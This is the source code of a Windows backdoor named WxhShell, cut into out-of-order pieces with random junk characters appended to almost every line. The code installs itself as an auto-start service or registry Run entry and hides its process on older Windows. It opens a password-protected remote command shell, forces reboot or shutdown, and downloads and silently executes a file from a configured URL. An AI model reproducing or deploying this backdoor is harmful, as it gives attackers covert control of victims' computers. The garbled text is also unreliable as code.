    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ss_}@p ^  
    else { O{ 0it6  
    closesocket(wsh); txE+A/>i9  
    ExitThread(0); i!gS]?*DH  
    } 0o:R:*  
    break; %m+7$iD  
    } -hc8IS  
  // 关机 G#M0 C>n  
  case 'd': { $ Ggnn#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JKy~'>Q  
    if(Boot(SHUTDOWN)) 0Ua=&;/2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J4@-?xj=\q  
    else { =3!o _  
    closesocket(wsh); M&)\PbMc  
    ExitThread(0); @_W13@|  
    } JW )f'r_f  
    break; g@T}h[  
    } XyiaRW  
  // 获取shell t#3 _M=L  
  case 's': { \BN$WV  
    CmdShell(wsh); ZCV i ZWo  
    closesocket(wsh); w*&vH/D  
    ExitThread(0); jOzi89  
    break; crN*eFeW  
  } -m@PqJF^  
  // 退出 lQBE q"7$  
  case 'x': { ]^T-X/v9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); - Ry+WS=  
    CloseIt(wsh); &AWrM{e  
    break; +vxOCN4}v  
    } `( w"{8laB  
  // 离开 ?5/7 @V  
  case 'q': { {f@Q&(g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1z-A3a/-  
    closesocket(wsh); ;Rpib[m  
    WSACleanup(); V)l:fUm2  
    exit(1); s]|tKQGl,  
    break; +cSc0:  
        } - jCj_@n  
  } ir"t@"Y;o  
  } G]N3OIw&8  
9t6c*|60#n  
  // 提示信息 N-_APWA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i q oXku  
} )Jdku}Pf  
  } ~LZrhwVj$  
}z$_!)/i  
  return; ^L)TfI_n  
} m#Z&05^  
I:G8B5{J  
// shell模块句柄 lWtfcU?S[  
int CmdShell(SOCKET sock) q7f`:P9~  
{ 2[HPU M2>  
STARTUPINFO si; ,[zSz8R  
ZeroMemory(&si,sizeof(si)); 0 !{X8>x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ENIg_s4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u!5q)>Wt(  
PROCESS_INFORMATION ProcessInfo; cv-rEHT  
char cmdline[]="cmd"; u~ipB*Zf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5RFro^S9E  
  return 0; XsQ81j.  
} jH!;}q  
mL2J  
// 自身启动模式 _:=\h5}8  
int StartFromService(void) eZqEFMBTm  
{ t(6]j#5   
typedef struct #}+H  
{ A,~KrRd  
  DWORD ExitStatus; n:OXv}pv  
  DWORD PebBaseAddress; GdI,&| /  
  DWORD AffinityMask; UMe?nAC  
  DWORD BasePriority; j?m(l,YD|*  
  ULONG UniqueProcessId; 3*~`z9-z  
  ULONG InheritedFromUniqueProcessId; _ia&|#n  
}   PROCESS_BASIC_INFORMATION; zGR, }v%%  
5L[imOM0  
PROCNTQSIP NtQueryInformationProcess; ch]Qz[d  
Nh}-6|M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T` h%=u|D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [0y,K{8t  
$q:l \  
  HANDLE             hProcess; \-pwA j?  
  PROCESS_BASIC_INFORMATION pbi; rHB>jN@$  
# o/;du  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #%@bZ f  
  if(NULL == hInst ) return 0; N=Ct3  
1>rQ).eT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JCn HEH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gg9s.]W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qsW&kW~  
<b,WxR`  
  if (!NtQueryInformationProcess) return 0; v4s4D1}  
=o~+R\1ux+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q4-d|  
  if(!hProcess) return 0; ,--#3+]XU  
.O1w-,=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m_oUl(pk  
\O"H#gt  
  CloseHandle(hProcess); $I*}AUp v?  
y/Y}C.IWp)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ Ze!F"  
if(hProcess==NULL) return 0; }.)R#hG?  
V'=;M[&  
HMODULE hMod; ^6kl4:{idE  
char procName[255]; 4AJT)I.  
unsigned long cbNeeded; g4=1['wW  
HJN GO[*g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r+ 8Tp|%  
N.q~\sF^  
  CloseHandle(hProcess); qfl!>  
j[:70%X  
if(strstr(procName,"services")) return 1; // 以服务启动 V[kJ;YLPN  
#BP0MY&  
  return 0; // 注册表启动 C;HEv q7  
} ,= ApnNUgX  
m<3. X"-  
// 主模块 jy.L/s  
int StartWxhshell(LPSTR lpCmdLine) plB8iN`x<  
{ O713'i  
  SOCKET wsl;  ,c`6-  
BOOL val=TRUE; elGBX h  
  int port=0; p1niS:}j  
  struct sockaddr_in door; G`%rnu  
N\ Mdia  
  if(wscfg.ws_autoins) Install(); mv:@D  
}w35fG^  
port=atoi(lpCmdLine); V=+|]`  
q!0HsF  
if(port<=0) port=wscfg.ws_port; Q3l>xh  
3l~7  
  WSADATA data; npkT>dB+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nw/g[/<;  
$m5Iv_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %1k"K~eu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P??P"^hU  
  door.sin_family = AF_INET; +sn0bi/rG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =3'B$PY  
  door.sin_port = htons(port); U~yPQ8jD  
"B__a(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RjUrpS[I  
closesocket(wsl); Ou4hAm91s  
return 1; Z<d=v3q  
} $bMmyDw  
y{(Dv}   
  if(listen(wsl,2) == INVALID_SOCKET) { *^[6uaa  
closesocket(wsl); /V+7:WDj  
return 1; )UU`uzU;u  
}  ) 4t%?wT  
  Wxhshell(wsl); 3; z1Hp2X  
  WSACleanup(); cy6YajOk7  
~5|R`%  
return 0; mvpcRe <  
M<l<n$rYS  
} )g8Kicox5  
VgbT/v  
// 以NT服务方式启动 y]R+/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `Zmdlp@  
{ GE] QRKf  
DWORD   status = 0; a|y'-r90  
  DWORD   specificError = 0xfffffff; :/PxfN5  
KIY`3Fl09  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +pK35u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t; #@t/`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ 6taC  
  serviceStatus.dwWin32ExitCode     = 0; It2:2  
  serviceStatus.dwServiceSpecificExitCode = 0; >f&L7@  
  serviceStatus.dwCheckPoint       = 0; H0B=X l[  
  serviceStatus.dwWaitHint       = 0; p {. 6  
4!ZT_q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =s.0 f:(  
  if (hServiceStatusHandle==0) return; )J yB  
0RSzDgX  
status = GetLastError(); w?*79 u  
  if (status!=NO_ERROR) wLI1qoDM  
{ /ioBc}]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b O}&i3.L;  
    serviceStatus.dwCheckPoint       = 0; FD%OG6db];  
    serviceStatus.dwWaitHint       = 0; N2j^fZd_  
    serviceStatus.dwWin32ExitCode     = status; fY =:geB  
    serviceStatus.dwServiceSpecificExitCode = specificError; g 6?y{(1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^g2Vz4u  
    return; S 1~EJa5H  
  } rR{KnM  
x<w-j[{k_K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u^'X>n)oL#  
  serviceStatus.dwCheckPoint       = 0; rN.8-  
  serviceStatus.dwWaitHint       = 0; >^,?0HP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3,hu3"@k  
} 1x##b [LC  
G<rAM+B*g  
// 处理NT服务事件,比如:启动、停止 C*RPSk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L|b[6[XTHL  
{ G|t0no\f  
switch(fdwControl) 'vq0Tw5  
{ \v{HjqVkC  
case SERVICE_CONTROL_STOP: h'vBWtMa  
  serviceStatus.dwWin32ExitCode = 0; `|92!Ej  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {5ehm  
  serviceStatus.dwCheckPoint   = 0; fX\y/C  
  serviceStatus.dwWaitHint     = 0; 9@Cu5U]  
  { \fvm6$ rZ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y>8JHoV  
  } Ck m:;q  
  return; Ne3YhCC>  
case SERVICE_CONTROL_PAUSE: <wd;W;B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 96; gzG@1!  
  break; Y}C|4"V  
case SERVICE_CONTROL_CONTINUE: Be\@n xV[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8aM\B%NGWi  
  break; kPAg *  
case SERVICE_CONTROL_INTERROGATE: jWvi% I qi  
  break; @1bl<27  
}; "So "oT1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R7h3O0@!  
} f?16%Rk<  
'9Q#%E!*  
// 标准应用程序主函数 SY@;u<Pd   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >b:5&s\9  
{ 7.)_H   
'|Lv -7  
// 获取操作系统版本 D=.Ob<m`Z  
OsIsNt=GetOsVer(); )>"Ky  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @FF{lK?[  
/9Qr1@&v  
  // 从命令行安装 QOPh3+.5  
  if(strpbrk(lpCmdLine,"iI")) Install(); qM2m!  
hOFvM&$  
  // 下载执行文件 ~*^o[~x]\  
if(wscfg.ws_downexe) { :v$)Z~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6p3cMJ'8y  
  WinExec(wscfg.ws_filenam,SW_HIDE); _^ n>kLd$  
} A9J{>f  
?s)6 YF  
if(!OsIsNt) { 4+p1`  
// 如果时win9x,隐藏进程并且设置为注册表启动 [ `_sH\  
HideProc(); W+4Bx=Mj  
StartWxhshell(lpCmdLine); Tfv @oPu  
} B T {cTj0W  
else hKnV=Ha(  
  if(StartFromService()) +br' 2Pn  
  // 以服务方式启动 7;r3Bxa Q  
  StartServiceCtrlDispatcher(DispatchTable); g 4 $  
else +t Prqv"(  
  // 普通方式启动 )Q}Q -Zt  
  StartWxhshell(lpCmdLine); yWT1CID  
uG YH4  
return 0; yB{1&S5 C  
} D)S_ p&  
v v5rA 6+  
WqCj;Tj|  
LFYSur8  
=========================================== Mdp'u$^!  
1C*mR%Q  
"W9z>ezp  
V;Ln|._/t  
x~D8XN{  
<'hoN/g  
" D})12qB;u9  
BmYX8j]  
#include <stdio.h> ]ZI@?H? O  
#include <string.h> EF9Y=(0|  
#include <windows.h> q,;wD1_wG  
#include <winsock2.h> qc3,/JO1  
#include <winsvc.h> mW,b#'hy  
#include <urlmon.h> SFFJyRCz  
Rz*GRe  
#pragma comment (lib, "Ws2_32.lib") K,*z8@  
#pragma comment (lib, "urlmon.lib") 6J$I8b#/  
8"V1h72vcW  
#define MAX_USER   100 // 最大客户端连接数 fZnq5rTk"  
#define BUF_SOCK   200 // sock buffer XSh [#qJ  
#define KEY_BUFF   255 // 输入 buffer M}=>~TA@  
13Q87i5B  
#define REBOOT     0   // 重启 0]nveC$  
#define SHUTDOWN   1   // 关机 5rQu^6&  
]-;JHB5A_:  
#define DEF_PORT   5000 // 监听端口 @,W5K$Ka=  
WWOjck #  
#define REG_LEN     16   // 注册表键长度 "t-9q  
#define SVC_LEN     80   // NT服务名长度 P{StF`>Y  
g{2~G6%;0  
// 从dll定义API (W[]}k ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I"KosSs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2{oQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wuSotbc/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B9c gVTLj  
T;S6<J  
// wxhshell配置信息 .5 {<bY  
struct WSCFG { 4#ikdjB;  
  int ws_port;         // 监听端口 BV}sN{  
  char ws_passstr[REG_LEN]; // 口令 ?<Mx*l  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'tX}6wurf  
  char ws_regname[REG_LEN]; // 注册表键名 m)r,  
  char ws_svcname[REG_LEN]; // 服务名 /`y^z"!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y!q`o$nK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GSfU*@L3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,;<M+V3+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ph%t #R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BD]o+96qP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nmyDGuzk  
7m:TY>{  
}; i4M%{]G3Y  
=&DuQvN,  
// default Wxhshell configuration E, oR.B  
struct WSCFG wscfg={DEF_PORT, -q&,7'V  
    "xuhuanlingzhe", {*<%6?  
    1, X[SIk%{D  
    "Wxhshell", ogJ';i/o  
    "Wxhshell", *,=8x\Shp  
            "WxhShell Service", S/YHT)0x[  
    "Wrsky Windows CmdShell Service", {Wfwf  
    "Please Input Your Password: ", ~4mRm!DP  
  1, g*w}m>O  
  "http://www.wrsky.com/wxhshell.exe", FiXqypT_(  
  "Wxhshell.exe" D/,(xWaT  
    }; sG^{ cn  
6 tB\X^  
// 消息定义模块 ~w.y9)",  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JcfGe4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O]@s` w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wT-K g=-q  
char *msg_ws_ext="\n\rExit."; E*s _Y  
char *msg_ws_end="\n\rQuit."; `f <w+u  
char *msg_ws_boot="\n\rReboot..."; V`1x![\  
char *msg_ws_poff="\n\rShutdown..."; Kb'4W-&u!  
char *msg_ws_down="\n\rSave to "; hb9HVj  
XK;Vu#E*^  
char *msg_ws_err="\n\rErr!"; QC6QqcOX  
char *msg_ws_ok="\n\rOK!"; Tz0XBH_  
31QDN0o!~  
char ExeFile[MAX_PATH]; EZT 8^m  
int nUser = 0; l j+p}dt  
HANDLE handles[MAX_USER]; ,4;'s  
int OsIsNt; +G,_|C2J  
xZ SDA8kS  
SERVICE_STATUS       serviceStatus; bXqTc2>=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ['3E'q,4&  
`\/\C[Gg  
// 函数声明 ,8cVv->u/  
int Install(void); `P$X`;SwE  
int Uninstall(void); voJJoy%  
int DownloadFile(char *sURL, SOCKET wsh); q%,y66pFr  
int Boot(int flag); 64^l/D(  
void HideProc(void); ~(=5`9  
int GetOsVer(void); k?1e + \  
int Wxhshell(SOCKET wsl); R38 \&F  
void TalkWithClient(void *cs); =?N$0F!  
int CmdShell(SOCKET sock); kv2 H3O  
int StartFromService(void); ^),;`YXZ  
int StartWxhshell(LPSTR lpCmdLine); P0k.\8qz  
*?>52 -&b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Pu'NSNT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b'vIX< g  
j(M.7Z7^  
// 数据结构和表定义 K~fWZT3]  
SERVICE_TABLE_ENTRY DispatchTable[] = >gl.ILo  
{ M'T[L%AP  
{wscfg.ws_svcname, NTServiceMain}, D r"PS >.  
{NULL, NULL} Q9Go}}n  
}; _<l)4A3rS  
Digx#'#jf  
// 自我安装 Ri*mu*r\}  
int Install(void) <~u-zaN<W  
{ pIKfTkSqH  
  char svExeFile[MAX_PATH]; m';4`Y5-  
  HKEY key; omT^jh  
  strcpy(svExeFile,ExeFile); lg{M\ +  
X+ /^s)  
// 如果是win9x系统,修改注册表设为自启动 6QNZ/Ox:  
if(!OsIsNt) { ~3|)[R=+p1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +F>erdV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kPO+M~+n  
  RegCloseKey(key); " BU4\QF-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =dp`4N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V|/N-3M  
  RegCloseKey(key); db>"2EE  
  return 0; U}l=1B  
    } f?(g5o*2  
  } vtc%MG1  
} iT+t  
else { <)"2rxX&5  
48{B}j%oU  
// 如果是NT以上系统,安装为系统服务 ucJ8l(?Qc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .sb0|3&  
if (schSCManager!=0) *T.V5FB0S  
{  O@skd2  
  SC_HANDLE schService = CreateService s~c cx"HH  
  ( M7YbRl  
  schSCManager, 3@1$y`SN  
  wscfg.ws_svcname, aFL<(,~r  
  wscfg.ws_svcdisp, kZfj"+p_S  
  SERVICE_ALL_ACCESS, m]}EVa_I`/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a;&0u>  
  SERVICE_AUTO_START, XG5"u  
  SERVICE_ERROR_NORMAL, 3.rl^Cq1  
  svExeFile, b$tf9$f  
  NULL, ( v$ i  
  NULL, SjcX|=S  
  NULL,  l .m #  
  NULL, kc2 8Q2  
  NULL 7>EMr}f C  
  ); R?J8#JPXD  
  if (schService!=0) 51ILR9 Bc_  
  { q35=_'\W  
  CloseServiceHandle(schService); i;:}{G<  
  CloseServiceHandle(schSCManager); ^Gi WU +`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V h5\'Sn  
  strcat(svExeFile,wscfg.ws_svcname); _Ecs{'k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <d{>[R)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `u8(qGg7GF  
  RegCloseKey(key); T7(d  
  return 0; y-Lm^ GW4  
    } -1ci.4F&  
  } ?}C8_I|4~  
  CloseServiceHandle(schSCManager); N_(-\\mq  
} gmOP8.g  
} u_*y~1^0  
,<TJh[TzC6  
return 1; w!}kcn<  
} C]3^:b+   
uTy00`1  
// 自我卸载 d-I=xpB  
int Uninstall(void) +Edq4QYwR  
{ .EjjCE/v-  
  HKEY key; \^lDd~MWG  
K'[kl'  
if(!OsIsNt) { `J;g~#/k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nr&9\lG]G  
  RegDeleteValue(key,wscfg.ws_regname); ~Yre(8+M  
  RegCloseKey(key); <4I`|D3@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]DZ~"+LaG  
  RegDeleteValue(key,wscfg.ws_regname); '"6*C*XS  
  RegCloseKey(key); _znpzr9H  
  return 0; S=$ \S9  
  } 2TQ<XHA\  
} Z[kVVE9b?  
} fyq %-Tj  
else { 3RI %OCGF  
NQN?CBFQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;NGSJfn  
if (schSCManager!=0) V}h)e3X  
{ 6-\M }xq?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ? ~oc4J*>(  
  if (schService!=0) ^>z+e"PQA  
  { {$C"yksr  
  if(DeleteService(schService)!=0) { [6nN]U~Y  
  CloseServiceHandle(schService); 0u I=8j  
  CloseServiceHandle(schSCManager); $Ut1vp1$  
  return 0; x. /WP~I  
  } U \F ?{/  
  CloseServiceHandle(schService); YIHGXi<"n  
  } JE;!~=   
  CloseServiceHandle(schSCManager); =ibKdPtTh^  
} yz%o?%@  
} = @ 1{LF;  
161IWos  
return 1; Pe@*')o*  
} w1+ %+x  
U< "k -  
// 从指定url下载文件 |sAl k,8s  
int DownloadFile(char *sURL, SOCKET wsh) , ksr%gR+  
{ ,fhK  
  HRESULT hr; 3WPZZN<K9  
char seps[]= "/"; ]'0}fuV  
char *token; 4^ZbT  
char *file; u_Xp\RJ  
char myURL[MAX_PATH]; zTw<9Nf  
char myFILE[MAX_PATH]; t24.u+O  
OK \9`  
strcpy(myURL,sURL); OS=~<ba  
  token=strtok(myURL,seps); H4W!@"e  
  while(token!=NULL) (:RYd6i  
  { P o\d!  
    file=token; e8k|%m<Sp  
  token=strtok(NULL,seps); Yd<9Y\W%?  
  } wjHH%y  
 $kxu-  
GetCurrentDirectory(MAX_PATH,myFILE); q( %)^C  
strcat(myFILE, "\\"); U(hIT9  
strcat(myFILE, file); N^'(`"J s  
  send(wsh,myFILE,strlen(myFILE),0); yB4eUa!1  
send(wsh,"...",3,0); {gB9EGY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7 LiyA<  
  if(hr==S_OK) ~pwk[Q!  
return 0; 3s#/d,+  
else j/1 f|x  
return 1; =Nr?F '<  
X#ud_+6x  
} (Y  
Pje 1,B q  
// 系统电源模块 2|${2u`$&y  
int Boot(int flag) 4 i`FSO  
{ u0%bv\$m  
  HANDLE hToken; _D8:p>=  
  TOKEN_PRIVILEGES tkp; EnEaUb?P  
y]uBVn'u  
  if(OsIsNt) { )gk tI!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -2Dgr\M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O{EbL5p  
    tkp.PrivilegeCount = 1; )4n]n:FjN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dA0o{[o=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ob9=/ R?i  
if(flag==REBOOT) { 1+xi1w}3a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rE?B9BF3O  
  return 0; zG<>-?q~'  
} \OkJX_7  
else {  K"Gea`I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '^tC|)  
  return 0; pJ/{X=y  
} .G>~xm0  
  } 5qkyi]/U8  
  else { 9jllW[`2F  
if(flag==REBOOT) { /Y [ b8f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fBKN?]BdN  
  return 0; ;V bB]aUg  
} )#,a'~w  
else { Zk5AZ R!|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `* cJc6  
  return 0; X&A2:A 6\+  
} '~xiD?:  
} _OB^ywHn.  
AA}+37@2I  
return 1; <@;bxSUx  
} {T3wOi  
5Trc#i<\  
// win9x进程隐藏模块 . Fm| $x  
void HideProc(void) LWV^'B_X-  
{ 5Z13s  
Rj-4K@a8#N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `8;\}6:"1  
  if ( hKernel != NULL ) 9/O\769"'  
  { )b,FE}YX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hh%|}*f_,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~jJe|zg>  
    FreeLibrary(hKernel); Srrzj-9^)K  
  } % xBQX  
DK#Tr: 7  
return; 2 y& k  
} \$,8aRT>#U  
+<WNAmh   
// 获取操作系统版本 ~_ko$(;A  
int GetOsVer(void) (>gb9n  
{ +KIFLuL  
  OSVERSIONINFO winfo; ;Ehv1{;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]F"@+_E  
  GetVersionEx(&winfo); m2Wi "X(I_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ephvvj~zW4  
  return 1; u`u{\ xN9  
  else 8/-hODoT_  
  return 0; SI7r `'7A'  
} #}[NleTVt  
Y\E7nll:.  
// 客户端句柄模块 ^-(DokdBn  
int Wxhshell(SOCKET wsl) aX.//T:':?  
{ 6e"Lod_ L  
  SOCKET wsh; UFyk%#L  
  struct sockaddr_in client; P5v;o9B&  
  DWORD myID; "FLiSz%ME  
&PFK0tY  
  while(nUser<MAX_USER) o RK:{?Y  
{ {6>$w/+~  
  int nSize=sizeof(client); *Z3b6X'e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @R;&PR#5  
  if(wsh==INVALID_SOCKET) return 1; 0Q[;{}W}  
{X-a6OQj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); igF<].'V  
if(handles[nUser]==0) '>t'U?7w<  
  closesocket(wsh); >*$Xbj*  
else =|H.r9-PK6  
  nUser++; MaZS|Zei[  
  } dyl1~'K^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4TSkm`iR  
4j<[3~:0 o  
  return 0; l6.&<0pLT  
} c9+yU~(  
e /L([  
// 关闭 socket bl#6B.*=  
void CloseIt(SOCKET wsh) }U|Vpgd!  
{ n'!x"O7  
closesocket(wsh); Qki? >j"  
nUser--; -cP1,>Ahv  
ExitThread(0); M0%nGpVj>  
} Nop61zj  
$}=r 45e0K  
// 客户端请求句柄 vILgM\or  
void TalkWithClient(void *cs) q&^H" fF  
{ p:3w8#)MZ  
Q<(aU{  
  SOCKET wsh=(SOCKET)cs; UkC'`NWF*  
  char pwd[SVC_LEN]; w4l]rH  
  char cmd[KEY_BUFF]; o Va[  
char chr[1]; BJ{?S{"6%G  
int i,j; j_S3<wEJ  
A:5P  
  while (nUser < MAX_USER) { HstL'{&,-m  
}Ggn2 X  
if(wscfg.ws_passstr) { Mo4c8wp&SM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CiTWjE?|7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NWj4U3x  
  //ZeroMemory(pwd,KEY_BUFF); 7H4kj7UK  
      i=0; =nlj|S ~3  
  while(i<SVC_LEN) { juxAyds  
m3XT8F*&  
  // 设置超时 & d* bQv$  
  fd_set FdRead; O mph(  
  struct timeval TimeOut; J!}R>mR  
  FD_ZERO(&FdRead); ScRK1  
  FD_SET(wsh,&FdRead); .ZM0cwF  
  TimeOut.tv_sec=8; #;UoZJ B  
  TimeOut.tv_usec=0; LYTnMrM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |I3&a=,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  _w FK+>  
n,{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rw75(Lp{  
  pwd=chr[0];  !>Q{co'  
  if(chr[0]==0xd || chr[0]==0xa) { eQIS`T  
  pwd=0; 5'_:>0}  
  break; l !ZzJ&  
  } c$_}   
  i++; ,QLy }=N  
    } 8DFq eY0S  
|WW'qg]Uu  
  // 如果是非法用户,关闭 socket Me^L%%: @  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )2r_EO@3HP  
} ZL9|/ PY  
eGo$F2C6E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zoj w^%W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -#g0  
{(h!JeQ  
while(1) { {<i(aq?  
RI BB*  
  ZeroMemory(cmd,KEY_BUFF); F0'8n6zj  
B'6(Ao=3/  
      // 自动支持客户端 telnet标准   +\J+?jOC4S  
  j=0; #:Ukv?  
  while(j<KEY_BUFF) { #c-Jo[%G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q2M%AvR  
  cmd[j]=chr[0]; lNv xt6@s  
  if(chr[0]==0xa || chr[0]==0xd) { >jc17BJq  
  cmd[j]=0; Ex{;&UWm  
  break; G ahY+$L,  
  } C6d#+  
  j++; t<cWMx5ra  
    } &cf_?4  
zZS,<Z  
  // 下载文件 ;\iu*1>Z,&  
  if(strstr(cmd,"http://")) { r6 kQMFA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GA.cp*2 ~  
